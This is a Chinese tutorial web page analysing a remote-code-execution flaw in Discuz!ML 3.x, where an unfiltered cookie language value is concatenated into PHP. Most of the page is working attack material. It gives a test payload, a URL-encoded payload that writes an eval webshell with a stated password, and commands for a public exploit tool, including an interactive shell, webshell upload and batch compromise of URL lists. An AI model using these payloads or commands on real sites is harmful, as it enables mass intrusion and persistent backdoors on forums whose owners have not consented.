您现在的位置是：首页 > cms教程 > Discuz教程Discuz教程

discuz!ml-3.x版本getshell漏洞分析

海莲2025-07-20Discuz教程已有人查阅

导读漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。1.cookie字段中会出现xxxx_xxxx_language字段

影响范围：
discuz! ml v3.x全版本。
产生原因
漏洞原因：Discuz!ML 系统对cookie中的l接收的language参数内容未过滤，导致字符串拼接，从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段，根本原因就是这个字段存在注入，导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码：

%27.%2Bfile_put_contents%28%27shell.php%27%2Curldecode%28%27%253C%253Fphp%2520eval%2528%2524_POST%255B%25221%2522%255D%2529%253B%253F%253E%27%29%29.%27

即可在路径下生成shell.php，连接密码为1利用工具工具名叫：dz-ml-rce.py ，是用py2写的，可以在github上下载。
断是否存在漏洞：

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"

获取交互式shell：

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell

上传一句话木马getshell：

python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell

连接密码为“x”
批量检测:

python dz-ml-rce.py -f urls.txt

批量上马getshell:

python dz-ml-rce.py -f urls.txt --getshell

本地复现：
搭建好一个discuz!ml 版本的环境，我搭的是3.3版本的，下载源码后直接一键式建站，建完后访问主页：

http://127.0.0.1/discuz!ml3.3/upload/forum.php

然后用工具测试：发现存在此漏洞，那么直接获取个shell回来：此工具针对此漏洞还蛮好用的。

本文标签：

很赞哦！ ()

上一篇：Discuz!X3.1数据库的操作介绍

下一篇：解决Discuz论坛的Discuz.Cache.DNTCache 的AddObject()死循环

图文教程

相关源码

(自适应响应式)瓷砖大理石装修建材类网站pbootcms模板html5模板本模板基于PbootCMS开发，针对瓷砖、大理石等建材行业特点进行优化设计。采用响应式布局技术，确保产品展示效果在不同设备上都能合理呈现。模板特别强化了石材纹理的视觉表现力，帮助建材企业更好地展示产品质感。查看源码
(自适应响应式)黑色酷炫高端数码摄影pbootcms网站模板源码本模板基于PbootCMS开发，为摄影工作室、个人摄影师及摄影爱好者设计。采用深色系风格，突出摄影作品展示效果，适配各类数码设备浏览。适用于作品集展示查看源码
(自适应响应式)门窗定制门业带视频功能pbootcms模板下载本模板采用PbootCMS内核开发，为门窗制造、定制安装企业打造，通过可视化后台管理系统快速构建品牌官网。自适应设计确保在手机、平板、电脑等设备上均能获得优质浏览体验查看源码
(响应式)轴承机械五金零件产品pbootcms落地推广单页源码下载为轴承、机械零件等工业产品打造的响应式单页模板，基于PbootCMS内核开发，助力企业快速构建专业级产品展示页面。模板采用工业风设计语言，突出产品参数与性能优势，适用于设备制造商、零部件供应商等B2B场景推广。查看源码
(自适应)行业协会工会机构单位pbootcms网站源码本模板基于PbootCMS内核开发，为行业协会、工会组织及机构单位量身打造。采用响应式布局设计，可自动适配手机、平板等移动设备，数据实时同步更新。模板包含行业资讯查看源码
帝国CMS7.5手游资讯下载综合门户免费网站模板本模板基于帝国CMS7.5内核开发，为手游打造的综合门户网站解决方案。模板设计充分考虑了手业的特性，包含游戏资讯发布、手游下载、礼包发放、开测信息等核心功能模块，满足手游门户网站的各项业务需求。查看源码